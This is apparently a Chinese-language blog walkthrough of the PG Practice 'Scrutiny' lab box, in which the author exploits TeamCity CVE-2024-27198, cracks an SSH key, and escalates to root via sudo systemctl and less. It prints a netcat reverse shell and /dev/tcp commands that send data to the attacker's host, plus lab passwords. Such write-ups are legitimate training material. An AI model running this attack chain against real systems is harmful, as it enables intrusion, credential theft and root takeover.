iT邦幫忙

2025 iThome 鐵人賽

DAY 29
0
Security

滲透探險 30 天:靶機挑戰記系列 第 29

PG Practice: Scrutiny 攻略

  • 分享至 

  • xImage
  •  

Recon

先來看看這台靶機上面開了什麼樣的服務
PS. 這邊所使用的列舉程式來自 https://github.com/21y4d/nmapAutomator ,這個腳本可以幫我們自動用不同的工具做資訊蒐集與掃描

sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.116.91 -type script;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.116.91 -type full;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.116.91 -type udp;sudo ~/Arsenal/nmapAutomator/nmapAutomator_mod.sh --host 192.168.116.91 -type recon;

https://ithelp.ithome.com.tw/upload/images/20251012/20178791Zlbir7ZpRI.png

http://scrutiny/ Port 80 上面有一個叫做 OnlyRands 的網站,右上角的地方可以登入
https://ithelp.ithome.com.tw/upload/images/20251012/201787913hR2kwMjzH.png
https://ithelp.ithome.com.tw/upload/images/20251012/20178791jc57TElsAK.png

按下登入後我們得到了一個錯誤訊息,看起來是 host 的名字跟我們原本設定的名字是不一樣的,所以我們必須要把它改成真正的 host 名字 teams.onlyrands.com
https://ithelp.ithome.com.tw/upload/images/20251012/20178791QdNuQz6J2O.png

將這個名字加入到 /etc/hosts 裡面

sudo vim /etc/hosts

改執行 teams.onlyrands.com,接著我們就看到登入畫面
https://ithelp.ithome.com.tw/upload/images/20251012/20178791hO4bAGyyKE.png

Initial Access

如果我們把 TeamCity 還有它的版本號碼 2023.05.4放到Google上去搜尋的話會找到一個 GitHub 的 repository (https://github.com/Stuub/RCity-CVE-2024-27198?source=post_page——-01737dd96583———————————————————- ) 還有他的 CVE 編號
這個作者他寫了一個 RCity 的 Python 檔案可以跟有問題的 TeamCity server 做互動,也許也能夠提供我們一個 reverse shell?
總之先下載下來用看看吧!

wget https://raw.githubusercontent.com/Stuub/RCity-CVE-2024-27198/refs/heads/main/RCity.py

先依照作者給的範例不帶任何參數試看看

python3 RCity.py -t http://teams.onlyrands.com/login.html

https://ithelp.ithome.com.tw/upload/images/20251012/20178791aCQhTOyGg6.png
這個 exploit code 似乎會幫我們新增一個 admin 的 user 並且將他的帳號密碼提供給我們
有點意思 !
https://ithelp.ithome.com.tw/upload/images/20251012/20178791wAuHWKCXOQ.png
我們就用這組帳號密碼來登錄看看吧

Method 1: Get id_rsa

登入後會看到一些人名
https://ithelp.ithome.com.tw/upload/images/20251012/201787910gPMJYyR18.png

在 Marco 下面找到他的 id_rsa
https://ithelp.ithome.com.tw/upload/images/20251012/20178791QeNY3LV1VW.png
https://ithelp.ithome.com.tw/upload/images/20251012/20178791oQ2MfDhPws.png

我們試著用 marco 的 id_rsa登入這台機器,結果發現他還是需要登入密碼
這時候我們用 ssh2john 將 id_rsa 轉乘 hash的格式,然後用 john 破解看看
Good ! 得到一組密碼,可以登入了!

ssh2john macro_id_rsa  > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash 

https://ithelp.ithome.com.tw/upload/images/20251012/20178791s10n7jfk8z.png

Method 2: Enable debug and get RCE

另一個拿到 shell的方式是利用剛剛的 RCity.py.
不過當我們試著利用 RCity.py 去執行指令時會報錯 rest.debug.process.enable

python3 RCity.py -t http://teams.onlyrands.com/ -c id

https://ithelp.ithome.com.tw/upload/images/20251012/20178791TA6uCy7sKr.png

再登入後到 internal properties 下面新增 properties.
https://ithelp.ithome.com.tw/upload/images/20251012/20178791aeLAqgA5Xf.png

加上 rest.debug.processes.enable=true 然後存檔
https://ithelp.ithome.com.tw/upload/images/20251012/20178791YsIsnMdTfm.png

再跑一次剛剛報錯的程式就能執行了!

python3 RCity.py -t http://teams.onlyrands.com/ -c id

https://ithelp.ithome.com.tw/upload/images/20251012/20178791Urh3N4XJ09.png

我們讓這台機自己器連回 kali 並且設定一些環境參數

busybox nc 192.168.45.214 80 -e /bin/bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=linux; alias ll='clear;ls -alhst --color=auto'

https://ithelp.ithome.com.tw/upload/images/20251012/20178791MtVMzlJL8m.png

是時候去拿第一個 flag 了
https://ithelp.ithome.com.tw/upload/images/20251012/20178791FVEc5h3S3p.png

Privilege Escalation

先來收集一下靶機上面的 user名單

cat /etc/passwd |grep /home

https://ithelp.ithome.com.tw/upload/images/20251012/20178791Sw8XjosyHP.png

跑一下 Linpeas 做提權資訊分析,看來這個 marcot 的 mail怪怪得喔!

./linpeas_20231025.sh > /dev/tcp/192.168.45.214/80 0>&1

https://ithelp.ithome.com.tw/upload/images/20251012/20178791baHneiDTfP.png

我們試著把 marot的 mail 傳回 kali上來看
看起來是他的前同事 Mattew 留了密碼給 Marcot.

# On Kali
rlwrap nc -vnlp 80 > marcot_mail

# On target machine
cat /var/mail/marcot > /dev/tcp/192.168.45.214/80

https://ithelp.ithome.com.tw/upload/images/20251012/20178791S4WIn5yWtj.png
https://ithelp.ithome.com.tw/upload/images/20251012/20178791DebDqQXoKG.png

事不宜遲,讓我們利用 Mattew來登入靶機

ssh matthewa@$tIP 
IdealismEngineAshen476

https://ithelp.ithome.com.tw/upload/images/20251012/201787918NwS74nA0D.png

這邊有一個小陷阱, Matthew 說 "I've left you a parting gift—your eyes only."
我那時候以為他是留給 Marco, 所以花了一些時間在找只有 Marco 才能讀去執行的文件
但其實那個檔案就在我們的眼皮子底下,他是一個隱藏檔案放在 Matthew的 home目錄下

find / -user matthewa 2>/dev/null

https://ithelp.ithome.com.tw/upload/images/20251012/201787918A9Y5HzzVA.png
https://ithelp.ithome.com.tw/upload/images/20251012/20178791PjBCpSwJrb.png

Matthew 真是個好同事~ 他把其他同事的密碼也送過來了 XDDD
https://ithelp.ithome.com.tw/upload/images/20251012/20178791Hj9tWfJFiX.png

但我們並不知道 Dach 在這指的是誰,靶機上沒有這個使用者,去看看 Mail裡面有沒有線索!
看來這個叫做 Dach的是一個叫做 Brian的,他的使用者名稱叫做 briand

cat /var/mail/matthewa

https://ithelp.ithome.com.tw/upload/images/20251012/20178791cNvAficX0R.png

資料收集完成,可以登入了

ssh briand@$tIP  
RefriedScabbedWasting502

https://ithelp.ithome.com.tw/upload/images/20251012/2017879195EAhEKI1V.png
來看看 Brian可以用甚麼樣的 root 權限
https://ithelp.ithome.com.tw/upload/images/20251012/20178791xZwICJelfv.png

依照經驗,我們會直接去 GTFObins看看有沒有可以直接提權的指令,但可惜這邊沒有提供可直接利用的指令
在碰壁一陣子以後,無意間發現 systemctl 本身有自帶弱點 https://nvd.nist.gov/vuln/detail/CVE-2023-26604
先確認看看 systemctl 的版本,看來這個版本確實小於 247

/usr/bin/systemctl --version

https://ithelp.ithome.com.tw/upload/images/20251012/201787919IYYbJrQcF.png
這個 CVE說 "systemd does not set LESSSECURE to 1, and thus other programs may be launched from the less program. This presents a substantial security risk when running systemctl from Sudo, because less executes as root when the terminal size is too small to show the complete systemctl output" 。簡單說,因為設定錯誤,所以 sudo+systemctl+less 就有機會提權,來試試看吧!

sudo -u root /usr/bin/systemctl status teamcity-server.service

在 CGroup 中的資訊顯示有一個 shell被開啟 ,只是這個 terminal 太小,我們沒辦法得到完整資訊
https://ithelp.ithome.com.tw/upload/images/20251012/20178791XJpq9EfveO.png

一旦這畫面打開就是在 less 裡面,在 https://gtfobins.github.io/gtfobins/systemctl/#sudo 有提到 !sh 可以給我們一個 root shell
https://ithelp.ithome.com.tw/upload/images/20251012/20178791hSuYWHvCke.png

!sh

https://ithelp.ithome.com.tw/upload/images/20251012/201787912o7DYDmxwE.png
折磨了好幾天,可以拿 flag了! 開心~
https://ithelp.ithome.com.tw/upload/images/20251012/20178791rHCyWDgnd6.png


上一篇
PG Practice: Walla 攻略
下一篇
PG Practice: Extplorer 攻略
系列文
滲透探險 30 天:靶機挑戰記30
圖片
  熱門推薦
圖片
{{ item.channelVendor }} | {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言